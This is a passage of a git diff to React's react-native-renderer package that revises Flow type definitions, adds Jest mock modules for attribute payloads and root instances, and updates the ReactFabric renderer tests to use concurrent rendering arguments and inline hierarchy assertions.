-  version: ReactVersion,
-  rendererPackageName: 'react-native-renderer',
-  rendererConfig: {
-    getInspectorDataForInstance,
-    getInspectorDataForViewTag: getInspectorDataForViewTag,
-    getInspectorDataForViewAtPoint: getInspectorDataForViewAtPoint.bind(
-      null,
-      findNodeHandle,
-    ),
-  },
-});
+injectIntoDevTools();
diff --git a/packages/react-native-renderer/src/ReactNativeTypes.js b/packages/react-native-renderer/src/ReactNativeTypes.js
index 0b4f9a1045b8..cfd026bc7d08 100644
--- a/packages/react-native-renderer/src/ReactNativeTypes.js
+++ b/packages/react-native-renderer/src/ReactNativeTypes.js
@@ -9,30 +9,18 @@
  * @flow strict
  */
 
-import type {ElementRef, ElementType, Element, AbstractComponent} from 'react';
+import type {
+  // $FlowFixMe[nonstrict-import] TODO(@rubennorte)
+  HostInstance as PublicInstance,
+  // $FlowFixMe[nonstrict-import] TODO(@rubennorte)
+  MeasureOnSuccessCallback,
+  // $FlowFixMe[nonstrict-import] TODO(@rubennorte)
+  PublicRootInstance,
+  // $FlowFixMe[nonstrict-import] TODO(@rubennorte)
+  PublicTextInstance,
+} from 'react-native';
 
-export type MeasureOnSuccessCallback = (
-  x: number,
-  y: number,
-  width: number,
-  height: number,
-  pageX: number,
-  pageY: number,
-) => void;
-
-export type MeasureInWindowOnSuccessCallback = (
-  x: number,
-  y: number,
-  width: number,
-  height: number,
-) => void;
-
-export type MeasureLayoutOnSuccessCallback = (
-  left: number,
-  top: number,
-  width: number,
-  height: number,
-) => void;
+import * as React from 'react';
 
 export type AttributeType<T, V> =
   | true
@@ -46,16 +34,7 @@ export type AttributeType<T, V> =
 export type AnyAttributeType = AttributeType<$FlowFixMe, $FlowFixMe>;
 
 export type AttributeConfiguration = $ReadOnly<{
-  [propName: string]: AnyAttributeType,
-  style: $ReadOnly<{
-    [propName: string]: AnyAttributeType,
-    ...
-  }>,
-  ...
-}>;
-
-export type PartialAttributeConfiguration = $ReadOnly<{
-  [propName: string]: AnyAttributeType,
+  [propName: string]: AnyAttributeType | void,
   style?: $ReadOnly<{
     [propName: string]: AnyAttributeType,
     ...
@@ -85,67 +64,27 @@ export type ViewConfig = $ReadOnly<{
     }>,
     ...
   }>,
+  supportsRawText?: boolean,
   uiViewClassName: string,
   validAttributes: AttributeConfiguration,
 }>;
 
 export type PartialViewConfig = $ReadOnly<{
-  bubblingEventTypes?: $PropertyType<ViewConfig, 'bubblingEventTypes'>,
-  directEventTypes?: $PropertyType<ViewConfig, 'directEventTypes'>,
+  bubblingEventTypes?: ViewConfig['bubblingEventTypes'],
+  directEventTypes?: ViewConfig['directEventTypes'],
+  supportsRawText?: boolean,
   uiViewClassName: string,
-  validAttributes?: PartialAttributeConfiguration,
+  validAttributes?: AttributeConfiguration,
 }>;
 
-/**
- * Current usages should migrate to this definition
- */
-export interface INativeMethods {
-  blur(): void;
-  focus(): void;
-  measure(callback: MeasureOnSuccessCallback): void;
-  measureInWindow(callback: MeasureInWindowOnSuccessCallback): void;
-  measureLayout(
-    relativeToNativeNode: number | ElementRef<HostComponent<mixed>>,
-    onSuccess: MeasureLayoutOnSuccessCallback,
-    onFail?: () => void,
-  ): void;
-  setNativeProps(nativeProps: {...}): void;
-}
-
-export type NativeMethods = $ReadOnly<{|
-  blur(): void,
-  focus(): void,
-  measure(callback: MeasureOnSuccessCallback): void,
-  measureInWindow(callback: MeasureInWindowOnSuccessCallback): void,
-  measureLayout(
-    relativeToNativeNode: number | ElementRef<HostComponent<mixed>>,
-    onSuccess: MeasureLayoutOnSuccessCallback,
-    onFail?: () => void,
-  ): void,
-  setNativeProps(nativeProps: {...}): void,
-|}>;
-
-// This validates that INativeMethods and NativeMethods stay in sync using Flow!
-declare const ensureNativeMethodsAreSynced: NativeMethods;
-(ensureNativeMethodsAreSynced: INativeMethods);
-
-export type HostComponent<T> = AbstractComponent<T, $ReadOnly<NativeMethods>>;
-
-type SecretInternalsType = {
-  computeComponentStackForErrorReporting(tag: number): string,
-  // TODO (bvaughn) Decide which additional types to expose here?
-  // And how much information to fill in for the above types.
-  ...
-};
-
 type InspectorDataProps = $ReadOnly<{
   [propName: string]: string,
   ...
 }>;
 
 type InspectorDataGetter = (
-  <TElementType: ElementType>(
-    componentOrHandle: ElementRef<TElementType> | number,
+  <TElementType: React.ElementType>(
+    componentOrHandle: React.ElementRef<TElementType> | number,
   ) => ?number,
 ) => $ReadOnly<{
   measure: (callback: MeasureOnSuccessCallback) => void,
@@ -163,17 +102,19 @@ export type InspectorData = $ReadOnly<{
   componentStack: string,
 }>;
 
-export type TouchedViewDataAtPoint = $ReadOnly<{
-  pointerY: number,
-  touchedViewTag?: number,
-  frame: $ReadOnly<{
-    top: number,
-    left: number,
-    width: number,
-    height: number,
-  }>,
-  ...InspectorData,
-}>;
+export type TouchedViewDataAtPoint = $ReadOnly<
+  {
+    pointerY: number,
+    touchedViewTag?: number,
+    frame: $ReadOnly<{
+      top: number,
+      left: number,
+      width: number,
+      height: number,
+    }>,
+    closestPublicInstance?: PublicInstance,
+  } & InspectorData,
+>;
 
 export type RenderRootOptions = {
   onUncaughtError?: (
@@ -185,13 +126,15 @@ export type RenderRootOptions = {
     errorInfo: {
       +componentStack?: ?string,
       // $FlowFixMe[unclear-type] unknown props and state.
-      +errorBoundary?: ?React$Component<any, any>,
+      // $FlowFixMe[value-as-type] Component in react repo is any-typed, but it will be well typed externally.
+      +errorBoundary?: ?React.Component<any, any>,
     },
   ) => void,
   onRecoverableError?: (
     error: mixed,
     errorInfo: {+componentStack?: ?string},
   ) => void,
+  onDefaultTransitionIndicator?: () => void | (() => void),
 };
 
 /**
@@ -199,67 +142,55 @@ export type RenderRootOptions = {
  * Provide minimal Flow typing for the high-level RN API and call it a day.
  */
 export type ReactNativeType = {
-  findHostInstance_DEPRECATED<TElementType: ElementType>(
-    componentOrHandle: ?(ElementRef<TElementType> | number),
-  ): ?ElementRef<HostComponent<mixed>>,
-  findNodeHandle<TElementType: ElementType>(
-    componentOrHandle: ?(ElementRef<TElementType> | number),
+  findHostInstance_DEPRECATED<TElementType: React.ElementType>(
+    componentOrHandle: ?(React.ElementRef<TElementType> | number),
+  ): ?PublicInstance,
+  findNodeHandle<TElementType: React.ElementType>(
+    componentOrHandle: ?(React.ElementRef<TElementType> | number),
   ): ?number,
-  isChildPublicInstance(
-    parent: PublicInstance | HostComponent<mixed>,
-    child: PublicInstance | HostComponent<mixed>,
-  ): boolean,
+  isChildPublicInstance(parent: PublicInstance, child: PublicInstance): boolean,
   dispatchCommand(
-    handle: ElementRef<HostComponent<mixed>>,
+    handle: PublicInstance,
     command: string,
     args: Array<mixed>,
   ): void,
-  sendAccessibilityEvent(
-    handle: ElementRef<HostComponent<mixed>>,
-    eventType: string,
-  ): void,
+  sendAccessibilityEvent(handle: PublicInstance, eventType: string): void,
   render(
-    element: Element<ElementType>,
+    element: React.MixedElement,
     containerTag: number,
     callback: ?() => void,
     options: ?RenderRootOptions,
-  ): ?ElementRef<ElementType>,
+  ): ?React.ElementRef<React.ElementType>,
   unmountComponentAtNode(containerTag: number): void,
   unmountComponentAtNodeAndRemoveContainer(containerTag: number): void,
-  unstable_batchedUpdates: <T>(fn: (T) => void, bookkeeping: T) => void,
-  __SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED: SecretInternalsType,
+  +unstable_batchedUpdates: <T>(fn: (T) => void, bookkeeping: T) => void,
   ...
 };
 
 export opaque type Node = mixed;
 export opaque type InternalInstanceHandle = mixed;
-type PublicInstance = mixed;
-type PublicTextInstance = mixed;
 
 export type ReactFabricType = {
-  findHostInstance_DEPRECATED<TElementType: ElementType>(
-    componentOrHandle: ?(ElementRef<TElementType> | number),
-  ): ?ElementRef<HostComponent<mixed>>,
-  findNodeHandle<TElementType: ElementType>(
-    componentOrHandle: ?(ElementRef<TElementType> | number),
+  findHostInstance_DEPRECATED<TElementType: React.ElementType>(
+    componentOrHandle: ?(React.ElementRef<TElementType> | number),
+  ): ?PublicInstance,
+  findNodeHandle<TElementType: React.ElementType>(
+    componentOrHandle: ?(React.ElementRef<TElementType> | number),
   ): ?number,
   dispatchCommand(
-    handle: ElementRef<HostComponent<mixed>>,
+    handle: PublicInstance,
     command: string,
     args: Array<mixed>,
   ): void,
   isChildPublicInstance(parent: PublicInstance, child: PublicInstance): boolean,
-  sendAccessibilityEvent(
-    handle: ElementRef<HostComponent<mixed>>,
-    eventType: string,
-  ): void,
+  sendAccessibilityEvent(handle: PublicInstance, eventType: string): void,
   render(
-    element: Element<ElementType>,
+    element: React.MixedElement,
     containerTag: number,
     callback: ?() => void,
     concurrentRoot: ?boolean,
     options: ?RenderRootOptions,
-  ): ?ElementRef<ElementType>,
+  ): ?React.ElementRef<React.ElementType>,
   unmountComponentAtNode(containerTag: number): void,
   getNodeFromInternalInstanceHandle(
     internalInstanceHandle: InternalInstanceHandle,
@@ -267,6 +198,7 @@ export type ReactFabricType = {
   getPublicInstanceFromInternalInstanceHandle(
     internalInstanceHandle: InternalInstanceHandle,
   ): PublicInstance | PublicTextInstance | null,
+  getPublicInstanceFromRootTag(rootTag: number): PublicRootInstance | null,
   ...
 };
 
diff --git a/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/ReactNativePrivateInterface.js b/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/ReactNativePrivateInterface.js
index d1234fe8a876..0d76206124ee 100644
--- a/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/ReactNativePrivateInterface.js
+++ b/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/ReactNativePrivateInterface.js
@@ -7,9 +7,6 @@
  * @flow strict-local
  */
 
-export opaque type PublicInstance = mixed;
-export opaque type PublicTextInstance = mixed;
-
 module.exports = {
   get BatchedBridge() {
     return require('./BatchedBridge.js');
@@ -59,4 +56,13 @@ module.exports = {
   get createPublicTextInstance() {
     return require('./createPublicTextInstance').default;
   },
+  get createPublicRootInstance() {
+    return require('./createPublicRootInstance').default;
+  },
+  get createAttributePayload() {
+    return require('./createAttributePayload').default;
+  },
+  get diffAttributePayloads() {
+    return require('./diffAttributePayloads').default;
+  },
 };
diff --git a/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createAttributePayload.js b/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createAttributePayload.js
new file mode 100644
index 000000000000..78ce43e1d9a6
--- /dev/null
+++ b/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createAttributePayload.js
@@ -0,0 +1,18 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow strict
+ */
+
+import type {AttributeConfiguration} from '../../../../ReactNativeTypes';
+
+export default function create(
+  props: Object,
+  validAttributes: AttributeConfiguration,
+): null | Object {
+  const {children, ...propsToPass} = props;
+  return propsToPass;
+}
diff --git a/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createPublicInstance.js b/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createPublicInstance.js
index 4f16c9d9ff10..c0b38c15114f 100644
--- a/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createPublicInstance.js
+++ b/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createPublicInstance.js
@@ -7,15 +7,20 @@
  * @flow strict
  */
 
-import type {PublicInstance} from './ReactNativePrivateInterface';
+import type {
+  PublicInstance,
+  PublicRootInstance,
+} from './ReactNativePrivateInterface';
 
 export default function createPublicInstance(
   tag: number,
   viewConfig: mixed,
   internalInstanceHandle: mixed,
+  rootPublicInstance: PublicRootInstance | null,
 ): PublicInstance {
   return {
     __nativeTag: tag,
     __internalInstanceHandle: internalInstanceHandle,
+    __rootPublicInstance: rootPublicInstance,
   };
 }
diff --git a/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createPublicRootInstance.js b/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createPublicRootInstance.js
new file mode 100644
index 000000000000..a313c3cc849b
--- /dev/null
+++ b/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/createPublicRootInstance.js
@@ -0,0 +1,16 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow strict
+ */
+
+import type {PublicRootInstance} from './ReactNativePrivateInterface';
+
+export default function createPublicRootInstance(
+  rootTag: number,
+): PublicRootInstance {
+  return null;
+}
diff --git a/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/diffAttributePayloads.js b/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/diffAttributePayloads.js
new file mode 100644
index 000000000000..9a1756ef9f94
--- /dev/null
+++ b/packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/diffAttributePayloads.js
@@ -0,0 +1,22 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow strict
+ */
+
+import type {AttributeConfiguration} from '../../../../ReactNativeTypes';
+
+import deepDiffer from './deepDiffer';
+
+export default function diff(
+  prevProps: Object,
+  nextProps: Object,
+  validAttributes: AttributeConfiguration,
+): null | Object {
+  const {children: _prevChildren, ...prevPropsPassed} = prevProps;
+  const {children: _nextChildren, ...nextPropsToPass} = nextProps;
+  return deepDiffer(prevPropsPassed, nextPropsToPass) ? nextPropsToPass : null;
+}
diff --git a/packages/react-native-renderer/src/__tests__/ReactFabric-test.internal.js b/packages/react-native-renderer/src/__tests__/ReactFabric-test.internal.js
index 47ee3cb8f743..925103f2d75a 100644
--- a/packages/react-native-renderer/src/__tests__/ReactFabric-test.internal.js
+++ b/packages/react-native-renderer/src/__tests__/ReactFabric-test.internal.js
@@ -16,6 +16,7 @@ let ReactNativePrivateInterface;
 let createReactNativeComponentClass;
 let StrictMode;
 let act;
+let assertConsoleErrorDev;
 
 const DISPATCH_COMMAND_REQUIRES_HOST_COMPONENT =
   "dispatchCommand was called with a ref that isn't a " +
@@ -25,10 +26,6 @@ const SEND_ACCESSIBILITY_EVENT_REQUIRES_HOST_COMPONENT =
   "sendAccessibilityEvent was called with a ref that isn't a " +
   'native component. Use React.forwardRef to get access to the underlying native component';
 
-jest.mock('shared/ReactFeatureFlags', () =>
-  require('shared/forks/ReactFeatureFlags.native-oss'),
-);
-
 describe('ReactFabric', () => {
   beforeEach(() => {
     jest.resetModules();
@@ -42,7 +39,7 @@ describe('ReactFabric', () => {
     createReactNativeComponentClass =
       require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface')
         .ReactNativeViewConfigRegistry.register;
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
   });
 
   it('should be able to create and render a native component', async () => {
@@ -52,7 +49,7 @@ describe('ReactFabric', () => {
     }));
 
     await act(() => {
-      ReactFabric.render(<View foo="test" />, 1);
+      ReactFabric.render(<View foo="test" />, 1, null, true);
     });
     expect(nativeFabricUIManager.createNode).toBeCalled();
     expect(nativeFabricUIManager.appendChild).not.toBeCalled();
@@ -70,13 +67,13 @@ describe('ReactFabric', () => {
     nativeFabricUIManager.createNode.mockReturnValue(firstNode);
 
     await act(() => {
-      ReactFabric.render(<View foo="foo" />, 11);
+      ReactFabric.render(<View foo="foo" />, 11, null, true);
     });
 
     expect(nativeFabricUIManager.createNode).toHaveBeenCalledTimes(1);
 
     await act(() => {
-      ReactFabric.render(<View foo="bar" />, 11);
+      ReactFabric.render(<View foo="bar" />, 11, null, true);
     });
 
     expect(nativeFabricUIManager.createNode).toHaveBeenCalledTimes(1);
@@ -100,7 +97,7 @@ describe('ReactFabric', () => {
     }));
 
     await act(() => {
-      ReactFabric.render(<Text foo="a">1</Text>, 11);
+      ReactFabric.render(<Text foo="a">1</Text>, 11, null, true);
     });
     expect(nativeFabricUIManager.cloneNode).not.toBeCalled();
     expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();
@@ -111,7 +108,7 @@ describe('ReactFabric', () => {
 
     // If no properties have changed, we shouldn't call cloneNode.
     await act(() => {
-      ReactFabric.render(<Text foo="a">1</Text>, 11);
+      ReactFabric.render(<Text foo="a">1</Text>, 11, null, true);
     });
     expect(nativeFabricUIManager.cloneNode).not.toBeCalled();
     expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();
@@ -122,7 +119,7 @@ describe('ReactFabric', () => {
 
     // Only call cloneNode for the changed property (and not for text).
     await act(() => {
-      ReactFabric.render(<Text foo="b">1</Text>, 11);
+      ReactFabric.render(<Text foo="b">1</Text>, 11, null, true);
     });
     expect(nativeFabricUIManager.cloneNode).not.toBeCalled();
     expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();
@@ -135,7 +132,7 @@ describe('ReactFabric', () => {
 
     // Only call cloneNode for the changed text (and no other properties).
     await act(() => {
-      ReactFabric.render(<Text foo="b">2</Text>, 11);
+      ReactFabric.render(<Text foo="b">2</Text>, 11, null, true);
     });
     expect(nativeFabricUIManager.cloneNode).not.toBeCalled();
     expect(
@@ -150,7 +147,7 @@ describe('ReactFabric', () => {
 
     // Call cloneNode for both changed text and properties.
     await act(() => {
-      ReactFabric.render(<Text foo="c">3</Text>, 11);
+      ReactFabric.render(<Text foo="c">3</Text>, 11, null, true);
     });
     expect(nativeFabricUIManager.cloneNode).not.toBeCalled();
     expect(
@@ -176,6 +173,8 @@ describe('ReactFabric', () => {
           1
         </Text>,
         11,
+        null,
+        true,
       );
     });
     expect(nativeFabricUIManager.cloneNode).not.toBeCalled();
@@ -185,12 +184,18 @@ describe('ReactFabric', () => {
       nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,
     ).not.toBeCalled();
 
+    jest
+      .spyOn(ReactNativePrivateInterface, 'diffAttributePayloads')
+      .mockReturnValue({bar: 'b'});
+
     await act(() => {
       ReactFabric.render(
         <Text foo="a" bar="b">
           1
         </Text>,
         11,
+        null,
+        true,
       );
     });
     expect(
@@ -198,16 +203,21 @@ describe('ReactFabric', () => {
     ).toEqual({
       bar: 'b',
     });
-    expect(
-      nativeFabricUIManager.__dumpHierarchyForJestTestsOnly(),
-    ).toMatchSnapshot();
+    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(`11
+ RCTText {"foo":"a","bar":"b"}
+   RCTRawText {"text":"1"}`);
 
+    jest
+      .spyOn(ReactNativePrivateInterface, 'diffAttributePayloads')
+      .mockReturnValue({foo: 'b'});
     await act(() => {
       ReactFabric.render(
         <Text foo="b" bar="b">
           2
         </Text>,
         11,
+        null,
+        true,
       );
     });
     const argIndex = gate(flags => flags.passChildrenWhenCloningPersistedNodes)
@@ -220,9 +230,9 @@ describe('ReactFabric', () => {
     ).toEqual({
       foo: 'b',
     });
-    expect(
-      nativeFabricUIManager.__dumpHierarchyForJestTestsOnly(),
-    ).toMatchSnapshot();
+    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(`11
+ RCTText {"foo":"b","bar":"b"}
+   RCTRawText {"text":"2"}`);
   });
 
   it('should not clone nodes without children when updating props', async () => {
@@ -237,11 +247,15 @@ describe('ReactFabric', () => {
       </View>
     );
 
-    await act(() => ReactFabric.render(<Component foo={true} />, 11));
+    await act(() =>
+      ReactFabric.render(<Component foo={true} />, 11, null, true),
+    );
     expect(nativeFabricUIManager.completeRoot).toBeCalled();
     jest.clearAllMocks();
 
-    await act(() => ReactFabric.render(<Component foo={false} />, 11));
+    await act(() =>
+      ReactFabric.render(<Component foo={false} />, 11, null, true),
+    );
     expect(nativeFabricUIManager.cloneNode).not.toBeCalled();
     expect(nativeFabricUIManager.cloneNodeWithNewProps).toHaveBeenCalledTimes(
       1,
@@ -273,6 +287,139 @@ describe('ReactFabric', () => {
     expect(nativeFabricUIManager.completeRoot).toBeCalled();
   });
 
+  it('should not clone nodes when layout effects are used', async () => {
+    const View = createReactNativeComponentClass('RCTView', () => ({
+      validAttributes: {foo: true},
+      uiViewClassName: 'RCTView',
+    }));
+
+    const ComponentWithEffect = () => {
+      React.useLayoutEffect(() => {});
+      return null;
+    };
+
+    await act(() =>
+      ReactFabric.render(
+        <View>
+          <ComponentWithEffect />
+        </View>,
+        11,
+        null,
+        true,
+      ),
+    );
+    expect(nativeFabricUIManager.completeRoot).toBeCalled();
+    jest.clearAllMocks();
+
+    await act(() =>
+      ReactFabric.render(
+        <View>
+          <ComponentWithEffect />
+        </View>,
+        11,
+        null,
+        true,
+      ),
+    );
+    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();
+    expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();
+    expect(nativeFabricUIManager.cloneNodeWithNewProps).not.toBeCalled();
+    expect(
+      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,
+    ).not.toBeCalled();
+    expect(nativeFabricUIManager.completeRoot).not.toBeCalled();
+  });
+
+  it('should not clone nodes when insertion effects are used', async () => {
+    const View = createReactNativeComponentClass('RCTView', () => ({
+      validAttributes: {foo: true},
+      uiViewClassName: 'RCTView',
+    }));
+
+    const ComponentWithRef = () => {
+      React.useInsertionEffect(() => {});
+      return null;
+    };
+
+    await act(() =>
+      ReactFabric.render(
+        <View>
+          <ComponentWithRef />
+        </View>,
+        11,
+        null,
+        true,
+      ),
+    );
+    expect(nativeFabricUIManager.completeRoot).toBeCalled();
+    jest.clearAllMocks();
+
+    await act(() =>
+      ReactFabric.render(
+        <View>
+          <ComponentWithRef />
+        </View>,
+        11,
+        null,
+        true,
+      ),
+    );
+    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();
+    expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();
+    expect(nativeFabricUIManager.cloneNodeWithNewProps).not.toBeCalled();
+    expect(
+      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,
+    ).not.toBeCalled();
+    expect(nativeFabricUIManager.completeRoot).not.toBeCalled();
+  });
+
+  it('should not clone nodes when useImperativeHandle is used', async () => {
+    const View = createReactNativeComponentClass('RCTView', () => ({
+      validAttributes: {foo: true},
+      uiViewClassName: 'RCTView',
+    }));
+
+    const ComponentWithImperativeHandle = props => {
+      React.useImperativeHandle(props.ref, () => ({greet: () => 'hello'}));
+      return null;
+    };
+
+    const ref = React.createRef();
+
+    await act(() =>
+      ReactFabric.render(
+        <View>
+          <ComponentWithImperativeHandle ref={ref} />
+        </View>,
+        11,
+        null,
+        true,
+      ),
+    );
+    expect(nativeFabricUIManager.completeRoot).toBeCalled();
+    expect(ref.current.greet()).toBe('hello');
+    jest.clearAllMocks();
+
+    await act(() =>
+      ReactFabric.render(
+        <View>
+          <ComponentWithImperativeHandle ref={ref} />
+        </View>,
+        11,
+        null,
+        true,
+      ),
+    );
+    expect(nativeFabricUIManager.cloneNode).not.toBeCalled();
+    expect(nativeFabricUIManager.cloneNodeWithNewChildren).not.toBeCalled();
+    expect(nativeFabricUIManager.cloneNodeWithNewProps).not.toBeCalled();
+    expect(
+      nativeFabricUIManager.cloneNodeWithNewChildrenAndProps,
+    ).not.toBeCalled();
+    expect(nativeFabricUIManager.completeRoot).not.toBeCalled();
+    expect(ref.current.greet()).toBe('hello');
+  });
+
   it('should call dispatchCommand for native refs', async () => {
     const View = createReactNativeComponentClass('RCTView', () => ({
       validAttributes: {foo: true},
@@ -290,6 +437,8 @@ describe('ReactFabric', () => {
           }}
         />,
         11,
+        null,
+        true,
       );
     });
 
@@ -321,15 +470,14 @@ describe('ReactFabric', () => {
           }}
         />,
         11,
+        null,
+        true,
       );
     });
 
     expect(nativeFabricUIManager.dispatchCommand).not.toBeCalled();
-    expect(() => {
-      ReactFabric.dispatchCommand(viewRef, 'updateCommand', [10, 20]);
-    }).toErrorDev([DISPATCH_COMMAND_REQUIRES_HOST_COMPONENT], {
-      withoutStack: true,
-    });
+    ReactFabric.dispatchCommand(viewRef, 'updateCommand', [10, 20]);
+    assertConsoleErrorDev([DISPATCH_COMMAND_REQUIRES_HOST_COMPONENT]);
 
     expect(nativeFabricUIManager.dispatchCommand).not.toBeCalled();
   });
@@ -351,6 +499,8 @@ describe('ReactFabric', () => {
           }}
         />,
         11,
+        null,
+        true,
       );
     });
 
@@ -383,20 +533,45 @@ describe('ReactFabric', () => {
           }}
         />,
         11,
+        null,
+        true,
       );
     });
 
     expect(nativeFabricUIManager.sendAccessibilityEvent).not.toBeCalled();
-    expect(() => {
-      ReactFabric.sendAccessibilityEvent(viewRef, 'eventTypeName');
-    }).toErrorDev([SEND_ACCESSIBILITY_EVENT_REQUIRES_HOST_COMPONENT], {
-      withoutStack: true,
-    });
+    ReactFabric.sendAccessibilityEvent(viewRef, 'eventTypeName');
+    assertConsoleErrorDev([SEND_ACCESSIBILITY_EVENT_REQUIRES_HOST_COMPONENT]);
 
     expect(nativeFabricUIManager.sendAccessibilityEvent).not.toBeCalled();
   });
 
-  it('returns the correct instance and calls it in the callback', () => {
+  it('calls the callback with the correct instance and returns null', async () => {
+    const View = createReactNativeComponentClass('RCTView', () => ({
+      validAttributes: {foo: true},
+      uiViewClassName: 'RCTView',
+    }));
+
+    let a;
+    let b;
+    let c;
+    await act(() => {
+      c = ReactFabric.render(
+        <View foo="foo" ref={v => (a = v)} />,
+        11,
+        function () {
+          b = this;
+        },
+        true,
+      );
+    });
+
+    expect(a).toBeTruthy();
+    expect(a).toBe(b);
+    expect(c).toBe(null);
+  });
+
+  // @gate !disableLegacyMode
+  it('returns the instance in legacy mode and calls the callback with it', () => {
     const View = createReactNativeComponentClass('RCTView', () => ({
       validAttributes: {foo: true},
       uiViewClassName: 'RCTView',
@@ -405,7 +580,12 @@ describe('ReactFabric', () => {
     let a;
     let b;
     const c = ReactFabric.render(
-      <View foo="foo" ref={v => (a = v)} />,
+      <View
+        foo="foo"
+        ref={v => {
+          a = v;
+        }}
+      />,
       11,
       function () {
         b = this;
@@ -441,18 +621,56 @@ describe('ReactFabric', () => {
     const after = 'mxhpgwfralkeoivcstzy';
 
     await act(() => {
-      ReactFabric.render(<Component chars={before} />, 11);
+      ReactFabric.render(<Component chars={before} />, 11, null, true);
     });
-    expect(
-      nativeFabricUIManager.__dumpHierarchyForJestTestsOnly(),
-    ).toMatchSnapshot();
+    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(`11
+ RCTView {}
+   RCTView {"title":"a"}
+   RCTView {"title":"b"}
+   RCTView {"title":"c"}
+   RCTView {"title":"d"}
+   RCTView {"title":"e"}
+   RCTView {"title":"f"}
+   RCTView {"title":"g"}
+   RCTView {"title":"h"}
+   RCTView {"title":"i"}
+   RCTView {"title":"j"}
+   RCTView {"title":"k"}
+   RCTView {"title":"l"}
+   RCTView {"title":"m"}
+   RCTView {"title":"n"}
+   RCTView {"title":"o"}
+   RCTView {"title":"p"}
+   RCTView {"title":"q"}
+   RCTView {"title":"r"}
+   RCTView {"title":"s"}
+   RCTView {"title":"t"}`);
 
     await act(() => {
-      ReactFabric.render(<Component chars={after} />, 11);
+      ReactFabric.render(<Component chars={after} />, 11, null, true);
     });
-    expect(
-      nativeFabricUIManager.__dumpHierarchyForJestTestsOnly(),
-    ).toMatchSnapshot();
+    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(`11
+ RCTView {}
+   RCTView {"title":"m"}
+   RCTView {"title":"x"}
+   RCTView {"title":"h"}
+   RCTView {"title":"p"}
+   RCTView {"title":"g"}
+   RCTView {"title":"w"}
+   RCTView {"title":"f"}
+   RCTView {"title":"r"}
+   RCTView {"title":"a"}
+   RCTView {"title":"l"}
+   RCTView {"title":"k"}
+   RCTView {"title":"e"}
+   RCTView {"title":"o"}
+   RCTView {"title":"i"}
+   RCTView {"title":"v"}
+   RCTView {"title":"c"}
+   RCTView {"title":"s"}
+   RCTView {"title":"t"}
+   RCTView {"title":"z"}
+   RCTView {"title":"y"}`);
   });
 
   it('recreates host parents even if only children changed', async () => {
@@ -488,20 +706,66 @@ describe('ReactFabric', () => {
           <Component ref={ref} />
         </View>,
         11,
+        null,
+        true,
       );
     });
-    expect(
-      nativeFabricUIManager.__dumpHierarchyForJestTestsOnly(),
-    ).toMatchSnapshot();
+    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(
+      `11
+ RCTView {}
+   RCTView {}
+     RCTView {"title":"a"}
+     RCTView {"title":"b"}
+     RCTView {"title":"c"}
+     RCTView {"title":"d"}
+     RCTView {"title":"e"}
+     RCTView {"title":"f"}
+     RCTView {"title":"g"}
+     RCTView {"title":"h"}
+     RCTView {"title":"i"}
+     RCTView {"title":"j"}
+     RCTView {"title":"k"}
+     RCTView {"title":"l"}
+     RCTView {"title":"m"}
+     RCTView {"title":"n"}
+     RCTView {"title":"o"}
+     RCTView {"title":"p"}
+     RCTView {"title":"q"}
+     RCTView {"title":"r"}
+     RCTView {"title":"s"}
+     RCTView {"title":"t"}`,
+    );
 
     // Call setState() so that we skip over the top-level host node.
     // It should still get recreated despite a bailout.
-    ref.current.setState({
-      chars: after,
+    await act(() => {
+      ref.current.setState({
+        chars: after,
+      });
     });
-    expect(
-      nativeFabricUIManager.__dumpHierarchyForJestTestsOnly(),
-    ).toMatchSnapshot();
+    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(`11
+ RCTView {}
+   RCTView {}
+     RCTView {"title":"m"}
+     RCTView {"title":"x"}
+     RCTView {"title":"h"}
+     RCTView {"title":"p"}
